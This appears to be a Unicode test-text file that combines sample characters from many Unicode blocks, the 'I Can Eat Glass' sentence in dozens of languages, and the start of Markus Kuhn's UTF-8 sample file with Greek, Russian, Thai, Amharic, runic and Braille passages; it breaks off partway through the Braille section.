Enclosed Alphanumerics (U+2460-U+24FF):
①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟
⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟ
ⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪
Box Drawing (U+2500-U+257F):
─━│┃┄┅┆┇┈┉┊┋┌┍┎┏┐┑┒┓└┕┖┗┘┙┚┛├┝┞┟┠┡┢┣┤┥┦┧┨┩┪┫┬┭┮┯┰┱┲┳┴┵┶┷┸┹┺┻┼┽┾┿
╀╁╂╃╄╅╆╇╈╉╊╋╌╍╎╏═║╒╓╔╕╖╗╘╙╚╛╜╝╞╟╠╡╢╣╤╥╦╧╨╩╪╫╬╭╮╯╰╱╲╳╴╵╶╷╸╹╺╻╼╽╾╿
Block Elements (U+2580-U+259F):
▀▁▂▃▄▅▆▇█▉▊▋▌▍▎▏▐░▒▓▔▕
Geometric Shapes (U+25A0-U+25FF):
■□▢▣▤▥▦▧▨▩▪▫▬▭▮▯▰▱▲△▴▵▶▷▸▹►▻▼▽▾▿◀◁◂◃◄◅◆◇◈◉◊○◌◍◎●◐◑◒◓◔◕◖◗◘◙◚◛◜◝◞◟
◠◡◢◣◤◥◦◧◨◩◪◫◬◭◮◯◰◱◲◳◴◵◶◷
Miscellaneous Symbols (U+2600-U+26FF):
☀☁☂☃☄★☆☇☈☉☊☋☌☍☎☏☐☑☒☓☙☚☛☜☝☞☟☠☡☢☣☤☥☦☧☨☩☪☫☬☭☮☯☰☱☲☳☴☵☶☷☸☹☺☻☼☽☾☿♀♁♂♃♄
♅♆♇♈♉♊♋♌♍♎♏♐♑♒♓♔♕♖♗♘♙♚♛♜♝♞♟♠♡♢♣♤♥♦♧♨♩♪♫♬♭♮♯♰♱
Dingbats (U+2700-U+27BF):
✁✂✃✄✆✇✈✉✑✒✓✔✕✖✗✘✙✚✛✜✝✞✟✠✡✢✣✤✥✦✧✩✪✫✬✭✮✯✰✱✲✳✴✵✶✷✸✹✺✻✼✽✾✿❃❄❅❆❇❈❉❊❋❍
❏❐❑❒❖❘❙❚❛❜❝❞❡❢❣❤❥❦❧❶❷❸❹❺❻❼❽❾❿➀➁➂➃➄➅➆➇➈➉➊➋➌➍➎➏➐➑➒➓➔➘➙➚➛➜➝➞➟➠➡➢➣➤➥
➦➧➨➩➪➫➬➭➮➯➱➲➳➴➵➶➷➸➹➺➻➼➽➾
Braille Patterns (U+2800-U+28FF):
⠀⠁⠂⠃⠄⠅⠆⠇⠈⠉⠊⠋⠌⠍⠎⠏⠐⠑⠒⠓⠔⠕⠖⠗⠘⠙⠚⠛⠜⠝⠞⠟⠠⠡⠢⠣⠤⠥⠦⠧⠨⠩⠪⠫⠬⠭⠮⠯⠰⠱⠲⠳⠴⠵⠶⠷⠸⠹⠺⠻⠼⠽⠾⠿
⡀⡁⡂⡃⡄⡅⡆⡇⡈⡉⡊⡋⡌⡍⡎⡏⡐⡑⡒⡓⡔⡕⡖⡗⡘⡙⡚⡛⡜⡝⡞⡟⡠⡡⡢⡣⡤⡥⡦⡧⡨⡩⡪⡫⡬⡭⡮⡯⡰⡱⡲⡳⡴⡵⡶⡷⡸⡹⡺⡻⡼⡽⡾⡿
⢀⢁⢂⢃⢄⢅⢆⢇⢈⢉⢊⢋⢌⢍⢎⢏⢐⢑⢒⢓⢔⢕⢖⢗⢘⢙⢚⢛⢜⢝⢞⢟⢠⢡⢢⢣⢤⢥⢦⢧⢨⢩⢪⢫⢬⢭⢮⢯⢰⢱⢲⢳⢴⢵⢶⢷⢸⢹⢺⢻⢼⢽⢾⢿
⣀⣁⣂⣃⣄⣅⣆⣇⣈⣉⣊⣋⣌⣍⣎⣏⣐⣑⣒⣓⣔⣕⣖⣗⣘⣙⣚⣛⣜⣝⣞⣟⣠⣡⣢⣣⣤⣥⣦⣧⣨⣩⣪⣫⣬⣭⣮⣯⣰⣱⣲⣳⣴⣵⣶⣷⣸⣹⣺⣻⣼⣽⣾⣿
CJK Symbols and Punctuation (U+3000-U+303F):
、。《》〓〚〛〜〿
Hiragana (U+3040-U+309F):
ぁあぃいぅうぇえぉおかがきぎくぐけげこごさざしじすずせぜそぞただ
ちぢっつづてでとどなにぬねのはばぱひびぴふぶぷへべぺほぼぽまみむ
めもゃやゅゆょよらりるれろゎわゐゑをんゔ゙゚゛゜ゝゞ
Private Use (U+E000-U+F8FF):


Alphabetic Presentation Forms (U+FB00-U+FB4F):
fffiflffifflſtstﬓﬔﬕﬖﬗיִﬞײַﬠﬡﬢﬣﬤﬥﬦﬧﬨ﬩שׁשׂשּׁשּׂאַאָאּבּגּדּהּוּזּטּיּךּכּלּמּנּסּףּפּצּקּרּשּתּוֹבֿכֿפֿﭏ
Combining Half Marks (U+FE20-U+FE2F):
︠︡︢︣
Halfwidth and Fullwidth Forms (U+FF00-U+FFEF):
。「」、・ヲァィゥェォャュョッーアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワン゙゚
Specials (U+FFF0-U+FFFD):
@@ -0,0 +1,195 @@
I Can Eat Glass
In various languages
# http://kermitproject.org does not support https://
Adopted from http://kermitproject.org/utf8.html#glass
Submit additions to the URL above and update this file.
Permission is granted by the Kermit project (http://kermitproject.org/)
to redistribute this file, with absolutely no warranty.
Sanskrit: काचं शक्नोम्यत्तुम् । नोपहिनस्ति माम् ॥
Sanskrit (standard transcription): kācaṃ śaknomyattum; nopahinasti mām.
Classical Greek: ὕαλον ϕαγεῖν δύναμαι· τοῦτο οὔ με βλάπτει.
Greek (monotonic): Μπορώ να φάω σπασμένα γυαλιά χωρίς να πάθω τίποτα.
Greek (polytonic): Μπορῶ νὰ φάω σπασμένα γυαλιὰ χωρὶς νὰ πάθω τίποτα.
Etruscan: (NEEDED)
Latin: Vitrum edere possum; mihi non nocet.
Old French: Je puis mangier del voirre. Ne me nuit.
French: Je peux manger du verre, ça ne me fait pas mal.
Provençal / Occitan: Pòdi manjar de veire, me nafrariá pas.
Québécois: J'peux manger d'la vitre, ça m'fa pas mal.
Walloon: Dji pou magnî do vêre, çoula m' freut nén må.
Champenois: (NEEDED)
Lorrain: (NEEDED)
Picard: Ch'peux mingi du verre, cha m'foé mie n'ma.
Corsican/Corsu: (NEEDED)
Jèrriais: (NEEDED)
Kreyòl Ayisyen (Haitï): Mwen kap manje vè, li pa blese'm.
Basque: Kristala jan dezaket, ez dit minik ematen.
Catalan / Català: Puc menjar vidre, que no em fa mal.
Spanish: Puedo comer vidrio, no me hace daño.
Aragonés: Puedo minchar beire, no me'n fa mal .
Aranés: (NEEDED)
Mallorquín: (NEEDED)
Galician: Eu podo xantar cristais e non cortarme.
European Portuguese: Posso comer vidro, não me faz mal.
Brazilian Portuguese (8): Posso comer vidro, não me machuca.
Caboverdiano/Kabuverdianu (Cape Verde): M' podê cumê vidru, ca ta maguâ-m'.
Papiamentu: Ami por kome glas anto e no ta hasimi daño.
Italian: Posso mangiare il vetro e non mi fa male.
Milanese: Sôn bôn de magnà el véder, el me fa minga mal.
Roman: Me posso magna' er vetro, e nun me fa male.
Napoletano: M' pozz magna' o'vetr, e nun m' fa mal.
Venetian: Mi posso magnare el vetro, no'l me fa mae.
Zeneise (Genovese): Pòsso mangiâ o veddro e o no me fà mâ.
Sicilian: Puotsu mangiari u vitru, nun mi fa mali.
Campinadese (Sardinia): (NEEDED)
Lugudorese (Sardinia): (NEEDED)
Romansch (Grischun): Jau sai mangiar vaider, senza che quai fa donn a mai.
Romany / Tsigane: (NEEDED)
Romanian: Pot să mănânc sticlă și ea nu mă rănește.
Esperanto: Mi povas manĝi vitron, ĝi ne damaĝas min.
Pictish: (NEEDED)
Breton: (NEEDED)
Cornish: Mý a yl dybry gwéder hag éf ny wra ow ankenya.
Welsh: Dw i'n gallu bwyta gwydr, 'dyw e ddim yn gwneud dolur i mi.
Manx Gaelic: Foddym gee glonney agh cha jean eh gortaghey mee.
Old Irish (Ogham): ᚛᚛ᚉᚑᚅᚔᚉᚉᚔᚋ ᚔᚈᚔ ᚍᚂᚐᚅᚑ ᚅᚔᚋᚌᚓᚅᚐ᚜
Old Irish (Latin): Con·iccim ithi nglano. Ním·géna.
Irish: Is féidir liom gloinne a ithe. Ní dhéanann sí dochar ar bith dom.
Ulster Gaelic: Ithim-sa gloine agus ní miste damh é.
Scottish Gaelic: S urrainn dhomh gloinne ithe; cha ghoirtich i mi.
Anglo-Saxon (Runes): ᛁᚳ᛫ᛗᚨᚷ᛫ᚷᛚᚨᛋ᛫ᛖᚩᛏᚪᚾ᛫ᚩᚾᛞ᛫ᚻᛁᛏ᛫ᚾᛖ᛫ᚻᛖᚪᚱᛗᛁᚪᚧ᛫ᛗᛖ᛬
Anglo-Saxon (Latin): Ic mæg glæs eotan ond hit ne hearmiað me.
Middle English: Ich canne glas eten and hit hirtiþ me nouȝt.
English: I can eat glass and it doesn't hurt me.
English (IPA): [aɪ kæn iːt glɑːs ænd ɪt dɐz nɒt hɜːt miː] (Received Pronunciation)
English (Braille): ⠊⠀⠉⠁⠝⠀⠑⠁⠞⠀⠛⠇⠁⠎⠎⠀⠁⠝⠙⠀⠊⠞⠀⠙⠕⠑⠎⠝⠞⠀⠓⠥⠗⠞⠀⠍⠑
Jamaican: Mi kian niam glas han i neba hot mi.
Lalland Scots / Doric: Ah can eat gless, it disnae hurt us.
Glaswegian: (NEEDED)
Gothic (4): 𐌼𐌰𐌲 𐌲𐌻𐌴𐍃 𐌹̈𐍄𐌰𐌽, 𐌽𐌹 𐌼𐌹𐍃 𐍅𐌿 𐌽𐌳𐌰𐌽 𐌱𐍂𐌹𐌲𐌲𐌹𐌸.
Old Norse (Runes): ᛖᚴ ᚷᛖᛏ ᛖᛏᛁ ᚧ ᚷᛚᛖᚱ ᛘᚾ ᚦᛖᛋᛋ ᚨᚧ ᚡᛖ ᚱᚧᚨ ᛋᚨᚱ
Old Norse (Latin): Ek get etið gler án þess að verða sár.
Norsk / Norwegian (Nynorsk): Eg kan eta glas utan å skada meg.
Norsk / Norwegian (Bokmål): Jeg kan spise glass uten å skade meg.
Føroyskt / Faroese: Eg kann eta glas, skaðaleysur.
Íslenska / Icelandic: Ég get etið gler án þess að meiða mig.
Svenska / Swedish: Jag kan äta glas utan att skada mig.
Dansk / Danish: Jeg kan spise glas, det gør ikke ondt på mig.
Sønderjysk: Æ ka æe glass uhen at det go mæ naue.
Frysk / Frisian: Ik kin glês ite, it docht me net sear.
Nederlands / Dutch: Ik kan glas eten, het doet mij geen kwaad.
Kirchröadsj/Bôchesserplat: Iech ken glaas èèse, mer 't deet miech jing pieng.
Afrikaans: Ek kan glas eet, maar dit doen my nie skade nie.
Lëtzebuergescht / Luxemburgish: Ech kan Glas iessen, daat deet mir nët wei.
Deutsch / German: Ich kann Glas essen, ohne mir zu schaden.
Ruhrdeutsch: Ich kann Glas verkasematuckeln, ohne dattet mich wat jucken tut.
Langenfelder Platt: Isch kann Jlaas kimmeln, uuhne datt mich datt weh dääd.
Lausitzer Mundart ("Lusatian"): Ich koann Gloos assn und doas dudd merr ni wii.
Odenwälderisch: Iech konn glaasch voschbachteln ohne dass es mir ebbs daun doun dud.
Sächsisch / Saxon: 'sch kann Glos essn, ohne dass'sch mer wehtue.
Pfälzisch: Isch konn Glass fresse ohne dasses mer ebbes ausmache dud.
Schwäbisch / Swabian: I kå Glas frässa, ond des macht mr nix!
Deutsch (Voralberg): I ka glas eassa, ohne dass mar weh tuat.
Bayrisch / Bavarian: I koh Glos esa, und es duard ma ned wei.
Allemannisch: I kaun Gloos essen, es tuat ma ned weh.
Schwyzerdütsch (Zürich): Ich chan Glaas ässe, das schadt mir nöd.
Schwyzerdütsch (Luzern): Ech cha Glâs ässe, das schadt mer ned.
Plautdietsch: (NEEDED)
Hungarian: Meg tudom enni az üveget, nem lesz tőle bajom.
Suomi / Finnish: Voin syödä lasia, se ei vahingoita minua.
Sami (Northern): Sáhtán borrat lása, dat ii leat bávččas.
Erzian: Мон ярсан суликадо, ды зыян эйстэнзэ а ули.
Northern Karelian: Mie voin syvvä lasie ta minla ei ole kipie.
Southern Karelian: Minä voin syvvä st'oklua dai minule ei ole kibie.
Vepsian: (NEEDED)
Votian: (NEEDED)
Livonian: (NEEDED)
Estonian: Ma võin klaasi süüa, see ei tee mulle midagi.
Latvian: Es varu ēst stiklu, tas man nekaitē.
Lithuanian: Aš galiu valgyti stiklą ir jis manęs nežeidžia
Old Prussian: (NEEDED)
Sorbian (Wendish): (NEEDED)
Czech: Mohu jíst sklo, neublíží mi.
Slovak: Môžem jesť sklo. Nezraní ma.
Polska / Polish: Mogę jeść szkło i mi nie szkodzi.
Slovenian: Lahko jem steklo, ne da bi mi škodovalo.
Bosnian, Croatian, Montenegrin and Serbian (Latin): Ja mogu jesti staklo, i to mi ne šteti.
Bosnian, Montenegrin and Serbian (Cyrillic): Ја могу јести стакло, и то ми не штети.
Macedonian: Можам да јадам стакло, а не ме штета.
Russian: Я могу есть стекло, оно мне не вредит.
Belarusian (Cyrillic): Я магу есці шкло, яно мне не шкодзіць.
Belarusian (Lacinka): Ja mahu jeści škło, jano mne ne škodzić.
Ukrainian: Я можу їсти скло, і воно мені не зашкодить.
Bulgarian: Мога да ям стъкло, то не ми вреди.
Georgian: მინას ვჭამ და არა მტკივა.
Armenian: Կրնամ ապակի ուտել և ինծի անհանգիստ չըներ։
Albanian: Unë mund të ha qelq dhe nuk më gjen gjë.
Turkish: Cam yiyebilirim, bana zararı dokunmaz.
Turkish (Ottoman): جام ييه بلورم بڭا ضررى طوقونمز
Tatar: Алам да бар, пыяла, әмма бу ранит мине.
Uzbek / Ozbekcha: (Roman): Men shisha yeyishim mumkin, ammo u menga zarar keltirmaydi.
Uzbek / Ўзбекча (Cyrillic): Мен шиша ейишим мумкин, аммо у менга зарар келтирмайди.
Bangla / Bengali: আমি কাঁচ খেতে পারি, তাতে আমার কোনো ক্ষতি হয় না।
Marathi: मी काच खाऊ शकतो, मला ते दुखत नाही.
Kannada: ನನಗೆ ಹಾನಿ ಆಗದೆ, ನಾನು ಗಜನ್ನು ತಿನಬಹುದು
Hindi: मैं काँच खा सकता हूँ और मुझे उससे कोई चोट नहीं पहुंचती.
Malayalam: എനിക്ക് ഗ്ലാസ് തിന്നാം. അതെന്നെ വേദനിപ്പിക്കില്ല.
Tamil: நான் கண்ணாடி சாப்பிடுவேன், அதனால் எனக்கு ஒரு கேடும் வராது.
Telugu: నేను గాజు తినగలను మరియు అలా చేసినా నాకు ఏమి ఇబ్బంది లేదు
Sinhalese: මට වීදුරු කෑමට හැකියි. එයින් මට කිසි හානියක් සිදු නොවේ.
Urdu(3): میں کانچ کھا سکتا ہوں اور مجھے تکلیف نہیں ہوتی ۔
Pashto(3): زه شيشه خوړلې شم، هغه ما نه خوږوي
Farsi / Persian(3): .من می توانم بدونِ احساس درد شيشه بخورم
Arabic(3): أنا قادر على أكل الزجاج و هذا لا يؤلمني.
Aramaic: (NEEDED)
Maltese: Nista' niekol il-ħġieġ u ma jagħmilli xejn.
Hebrew(3): אני יכול לאכול זכוכית וזה לא מזיק לי.
Yiddish(3): איך קען עסן גלאָז און עס טוט מיר נישט װײ.
Judeo-Arabic: (NEEDED)
Ladino: (NEEDED)
Gǝʼǝz: (NEEDED)
Amharic: (NEEDED)
Twi: Metumi awe tumpan, ɜnyɜ me hwee.
Hausa (Latin): Inā iya taunar gilāshi kuma in gamā lāfiyā.
Hausa (Ajami) (2): إِنا إِىَ تَونَر غِلَاشِ كُمَ إِن غَمَا لَافِىَا
Yoruba(4): Mo lè je̩ dígí, kò ní pa mí lára.
Lingala: Nakokí kolíya biténi bya milungi, ekosála ngáí mabé tɛ́.
(Ki)Swahili: Naweza kula bilauri na sikunyui.
Malay: Saya boleh makan kaca dan ia tidak mencederakan saya.
Tagalog: Kaya kong kumain nang bubog at hindi ako masaktan.
Chamorro: Siña yo' chumocho krestat, ti ha na'lalamen yo'.
Fijian: Au rawa ni kana iloilo, ia au sega ni vakacacani kina.
Javanese: Aku isa mangan beling tanpa lara.
Burmese (Unicode 4.0): က္ယ္ဝန္‌တော္‌၊က္ယ္ဝန္‌မ မ္ယက္‌စားနုိင္‌သည္‌။ ၎က္ရောင္‌့ ထိခုိက္‌မ္ဟု မရ္ဟိပာ။ (9)
Burmese (Unicode 5.0): ကျွန်တော် ကျွန်မ မှန်စားနိုင်တယ်။ ၎င်းကြောင့် ထိခိုက်မှုမရှိပါ။ (9)
Vietnamese (quốc ngữ): Tôi có thể ăn thủy tinh mà không hại gì.
Vietnamese (nôm) (4): 些 𣎏 世 咹 水 晶 𦓡 空 𣎏 害 咦
Khmer: ខ្ញុំអាចញុំកញ្ចក់បាន ដោយគ្មានបញ្ហារ
Lao: ຂອ້ຍກິນແກ້ວໄດ້ໂດຍທີ່ມັນບໍ່ໄດ້ເຮັດໃຫ້ຂອ້ຍເຈັບ.
Thai: ฉันกินกระจกได้ แต่มันไม่ทำให้ฉันเจ็บ
Mongolian (Cyrillic): Би шил идэй чадна, надад хортой биш
Mongolian (Classic) (5): ᠪᠢ ᠰᠢᠯᠢ ᠢᠳᠡᠶᠦ ᠴᠢᠳᠠᠨᠠ ᠂ ᠨᠠᠳᠤᠷ ᠬᠣᠤᠷᠠᠳᠠᠢ ᠪᠢᠰᠢ
Dzongkha: (NEEDED)
Nepali: म काँच खान सक्छू र मलाई केहि नी हुन्‍न् ।
Tibetan: ཤེལ་སྒོ་ཟ་ནས་ང་ན་གི་མ་རེད།
Chinese: 我能吞下玻璃而不伤身体。
Chinese (Traditional): 我能吞下玻璃而不傷身體。
Taiwanese(6): Góa ē-tàng chia̍h po-lê, mā bē tio̍h-siong.
Japanese: 私はガラスを食べられます。それは私を傷つけません。
Korean: 나는 유리를 먹을 수 있어요. 그래도 아프지 않아요
Bislama: Mi save kakae glas, hemi no save katem mi.
Hawaiian: Hiki iaʻu ke ʻai i ke aniani; ʻaʻole nō lā au e ʻeha.
Marquesan: E koʻana e kai i te karahi, mea ʻā, ʻaʻe hauhau.
Inuktitut (10): ᐊᓕᒍᖅ ᓂᕆᔭᕌᖓᒃᑯ ᓱᕋᙱᑦᑐᓐᓇᖅᑐᖓ
Chinook Jargon: Naika məkmək kakshət labutay, pi weyk ukuk munk-sik nay.
Navajo: Tsésǫʼ yishą́ągo bííníshghah dóó doo shił neezgai da.
Cherokee (and Cree, Chickasaw, Cree, Micmac, Ojibwa, Lakota, Náhuatl, Quechua, Aymara, and other American languages): (NEEDED)
Garifuna: (NEEDED)
Gullah: (NEEDED)
Lojban: mi kakne le nu citka le blaci .iku'i le se go'i na xrani mi
Nórdicg: Ljœr ye caudran créneþ ý jor cẃran.
@@ -0,0 +1,212 @@
UTF-8 encoded sample plain-text file
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Markus Kuhn [ˈmaʳkʊs kuːn] <https://www.cl.cam.ac.uk/~mgk25/> — 2002-07-25
The ASCII compatible UTF-8 encoding used in this plain-text file
is defined in Unicode, ISO 10646-1, and RFC 2279.
Using Unicode/UTF-8, you can write in emails and source code things such as
Mathematics and sciences:
∮ E⋅da = Q, n → ∞, ∑ f(i) = ∏ g(i), ⎧⎡⎛┌─────┐⎞⎤⎫
⎪⎢⎜│a²+b³ ⎟⎥⎪
∀x∈ℝ: ⌈x⌉ = −⌊−x⌋, α ∧ ¬β = ¬(¬α ∨ β), ⎪⎢⎜│───── ⎟⎥⎪
⎪⎢⎜⎷ c₈ ⎟⎥⎪
ℕ ⊆ ℕ₀ ⊂ ℤ ⊂ ℚ ⊂ ℝ ⊂ ℂ, ⎨⎢⎜ ⎟⎥⎬
⎪⎢⎜ ∞ ⎟⎥⎪
⊥ < a ≠ b ≡ c ≤ d ≪ ⇒ (⟦A⟧ ⇔ ⟪B⟫), ⎪⎢⎜ ⎲ ⎟⎥⎪
⎪⎢⎜ ⎳aⁱ-bⁱ⎟⎥⎪
2H₂ + O₂ ⇌ 2H₂O, R = 4.7 kΩ, ⌀ 200 mm ⎩⎣⎝i=1 ⎠⎦⎭
Linguistics and dictionaries:
ði ıntəˈnæʃənəl fəˈnɛtık əsoʊsiˈeıʃn
Y [ˈʏpsilɔn], Yen [jɛn], Yoga [ˈjoːgɑ]
APL:
((VV)=⍳⍴V)/V←,V ⌷←⍳→⍴∆∇⊃‾⍎⍕⌈
Nicer typography in plain text files:
╔══════════════════════════════════════════╗
║ ║
║ • single and “double” quotes ║
║ ║
║ • Curly apostrophes: “Weve been here” ║
║ ║
║ • Latin-1 apostrophe and accents: '´` ║
║ ║
║ • deutsche „Anführungszeichen“ ║
║ ║
║ • †, ‡, ‰, •, 34, —, 5/+5, ™, … ║
║ ║
║ • ASCII safety test: 1lI|, 0OD, 8B ║
║ ╭─────────╮ ║
║ • the euro symbol: │ 14.95 € │ ║
║ ╰─────────╯ ║
╚══════════════════════════════════════════╝
Combining characters:
STARGΛ̊TE SG-1, a = v̇ = r̈, a⃑ ⊥ b⃑
Greek (in Polytonic):
The Greek anthem:
Σὲ γνωρίζω ἀπὸ τὴν κόψη
τοῦ σπαθιοῦ τὴν τρομερή,
σὲ γνωρίζω ἀπὸ τὴν ὄψη
ποὺ μὲ βία μετράει τὴ γῆ.
᾿Απ᾿ τὰ κόκκαλα βγαλμένη
τῶν ῾Ελλήνων τὰ ἱερά
καὶ σὰν πρῶτα ἀνδρειωμένη
χαῖρε, ὦ χαῖρε, ᾿Ελευθεριά!
From a speech of Demosthenes in the 4th century BC:
Οὐχὶ ταὐτὰ παρίσταταί μοι γιγνώσκειν, ὦ ἄνδρες ᾿Αθηναῖοι,
ὅταν τ᾿ εἰς τὰ πράγματα ἀποβλέψω καὶ ὅταν πρὸς τοὺς
λόγους οὓς ἀκούω· τοὺς μὲν γὰρ λόγους περὶ τοῦ
τιμωρήσασθαι Φίλιππον ὁρῶ γιγνομένους, τὰ δὲ πράγματ᾿
εἰς τοῦτο προήκοντα, ὥσθ᾿ ὅπως μὴ πεισόμεθ᾿ αὐτοὶ
πρότερον κακῶς σκέψασθαι δέον. οὐδέν οὖν ἄλλο μοι δοκοῦσιν
οἱ τὰ τοιαῦτα λέγοντες ἢ τὴν ὑπόθεσιν, περὶ ἧς βουλεύεσθαι,
οὐχὶ τὴν οὖσαν παριστάντες ὑμῖν ἁμαρτάνειν. ἐγὼ δέ, ὅτι μέν
ποτ᾿ ἐξῆν τῇ πόλει καὶ τὰ αὑτῆς ἔχειν ἀσφαλῶς καὶ Φίλιππον
τιμωρήσασθαι, καὶ μάλ᾿ ἀκριβῶς οἶδα· ἐπ᾿ ἐμοῦ γάρ, οὐ πάλαι
γέγονεν ταῦτ᾿ ἀμφότερα· νῦν μέντοι πέπεισμαι τοῦθ᾿ ἱκανὸν
προλαβεῖν ἡμῖν εἶναι τὴν πρώτην, ὅπως τοὺς συμμάχους
σώσομεν. ἐὰν γὰρ τοῦτο βεβαίως ὑπάρξῃ, τότε καὶ περὶ τοῦ
τίνα τιμωρήσεταί τις καὶ ὃν τρόπον ἐξέσται σκοπεῖν· πρὶν δὲ
τὴν ἀρχὴν ὀρθῶς ὑποθέσθαι, μάταιον ἡγοῦμαι περὶ τῆς
τελευτῆς ὁντινοῦν ποιεῖσθαι λόγον.
Δημοσθένους, Γ´ ᾿Ολυνθιακὸς
Georgian:
From a Unicode conference invitation:
გთხოვთ ახლავე გაიაროთ რეგისტრაცია Unicode-ის მეათე საერთაშორისო
კონფერენციაზე დასასწრებად, რომელიც გაიმართება 10-12 მარტს,
ქ. მაინცში, გერმანიაში. კონფერენცია შეჰკრებს ერთად მსოფლიოს
ექსპერტებს ისეთ დარგებში როგორიცაა ინტერნეტი და Unicode-ი,
ინტერნაციონალიზაცია და ლოკალიზაცია, Unicode-ის გამოყენება
ოპერაციულ სისტემებსა, და გამოყენებით პროგრამებში, შრიფტებში,
ტექსტების დამუშავებასა და მრავალენოვან კომპიუტერულ სისტემებში.
Russian:
From a Unicode conference invitation:
Зарегистрируйтесь сейчас на Десятую Международную Конференцию по
Unicode, которая состоится 10-12 марта 1997 года в Майнце в Германии.
Конференция соберет широкий круг экспертов по вопросам глобального
Интернета и Unicode, локализации и интернационализации, воплощению и
применению Unicode в различных операционных системах и программных
приложениях, шрифтах, верстке и многоязычных компьютерных системах.
Thai (UCS Level 2):
Excerpt from a poetry on The Romance of The Three Kingdoms (a Chinese
classic 'San Gua'):
[----------------------------|------------------------]
๏ แผ่นดินฮั่นเสื่อมโทรมแสนสังเวช พระปกเกศกองบู๊กู้ขึ้นใหม่
สิบสองกษัตริย์ก่อนหน้าแลถัดไป สององค์ไซร้โง่เขลาเบาปัญญา
ทรงนับถือขันทีเป็นที่พึ่ง บ้านเมืองจึงวิปริตเป็นนักหนา
โฮจิ๋นเรียกทัพทั่วหัวเมืองมา หมายจะฆ่ามดชั่วตัวสำคัญ
เหมือนขับไสไล่เสือจากเคหา รับหมาป่าเข้ามาเลยอาสัญ
ฝ่ายอ้องอุ้นยุแยกให้แตกกัน ใช้สาวนั้นเป็นชนวนชื่นชวนใจ
พลันลิฉุยกุยกีกลับก่อเหตุ ช่างอาเพศจริงหนาฟ้าร้องไห้
ต้องรบราฆ่าฟันจนบรรลัย ฤๅหาใครค้ำชูกู้บรรลังก์ ฯ
(The above is a two-column text. If combining characters are handled
correctly, the lines of the second column should be aligned with the
| character above.)
Ethiopian:
Proverbs in the Amharic language:
ሰማይ አይታረስ ንጉሥ አይከሰስ።
ብላ ካለኝ እንደአባቴ በቆመጠኝ።
ጌጥ ያለቤቱ ቁምጥና ነው።
ደሀ በሕልሙ ቅቤ ባይጠጣ ንጣት በገደለው።
የአፍ ወለምታ በቅቤ አይታሽም።
አይጥ በበላ ዳዋ ተመታ።
ሲተረጉሙ ይደረግሙ።
ቀስ በቀስ፥ ዕንቁላል በእግሩ ይሄዳል።
ድር ቢያብር አንበሳ ያስር።
ሰው እንደቤቱ እንጅ እንደ ጉረቤቱ አይተዳደርም።
እግዜር የከፈተውን ጉሮሮ ሳይዘጋው አይድርም።
የጎረቤት ሌባ፥ ቢያዩት ይስቅ ባያዩት ያጠልቅ።
ሥራ ከመፍታት ልጄን ላፋታት።
ዓባይ ማደሪያ የለው፥ ግንድ ይዞ ይዞራል።
የእስላም አገሩ መካ የአሞራ አገሩ ዋርካ።
ተንጋሎ ቢተፉ ተመልሶ ባፉ።
ወዳጅህ ማር ቢሆን ጨርስህ አትላሰው።
እግርህን በፍራሽህ ልክ ዘርጋ።
Runes:
ᚻᛖ ᚳᚹᚫᚦ ᚦᚫᛏ ᚻᛖ ᛒᚢᛞᛖ ᚩᚾ ᚦᚫᛗ ᛚᚪᚾᛞᛖ ᚾᚩᚱᚦᚹᛖᚪᚱᛞᚢᛗ ᚹᛁᚦ ᚦᚪ ᚹᛖᛥᚫ
(Old English, which transcribed into Latin reads 'He cwaeth that he
bude thaem lande northweardum with tha Westsae.' and means 'He said
that he lived in the northern land near the Western Sea.')
Braille:
⡌⠁⠧⠑ ⠼⠁⠒ ⡍⠜⠇⠑⠹⠰⠎ ⡣⠕⠌
⡍⠜⠇⠑⠹ ⠺⠁⠎ ⠙⠑⠁⠙⠒ ⠞⠕ ⠃⠑⠛⠔ ⠺⠊⠹⠲ ⡹⠻⠑ ⠊⠎ ⠝⠕ ⠙⠳⠃⠞
⠱⠁⠞⠑⠧⠻ ⠁⠃⠳⠞ ⠹⠁⠞⠲ ⡹⠑ ⠗⠑⠛⠊⠌⠻ ⠕⠋ ⠙⠊⠎ ⠃⠥⠗⠊⠁⠇ ⠺⠁⠎
⠎⠊⠛⠝⠫ ⠃⠹ ⠹⠑ ⠊⠇⠻⠛⠹⠍⠁⠝⠂ ⠹⠑ ⠊⠇⠻⠅⠂ ⠹⠑ ⠥⠝⠙⠻⠞⠁⠅⠻⠂
⠁⠝⠙ ⠹⠑ ⠡⠊⠑⠋ ⠍⠳⠗⠝⠻⠲ ⡎⠊⠗⠕⠕⠛⠑ ⠎⠊⠛⠝⠫ ⠊⠞⠲ ⡁⠝⠙
⡎⠊⠗⠕⠕⠛⠑⠰⠎ ⠝⠁⠍⠑ ⠺⠁⠎ ⠛⠕⠕⠙ ⠥⠏⠕⠝ ⠰⡡⠁⠝⠛⠑⠂ ⠋⠕⠗ ⠁⠝⠹⠹⠔⠛ ⠙⠑
⠡⠕⠎⠑ ⠞⠕ ⠏⠥⠞ ⠙⠊⠎ ⠙⠁⠝⠙ ⠞⠕⠲
⡕⠇⠙ ⡍⠜⠇⠑⠹ ⠺⠁⠎ ⠁⠎ ⠙⠑⠁⠙ ⠁⠎ ⠁ ⠙⠕⠕⠗⠤⠝⠁⠊⠇⠲
⡍⠔⠙⠖ ⡊ ⠙⠕⠝⠰⠞ ⠍⠑⠁⠝ ⠞⠕ ⠎⠁⠹ ⠹⠁⠞ ⡊ ⠅⠝⠪⠂ ⠕⠋ ⠍⠹
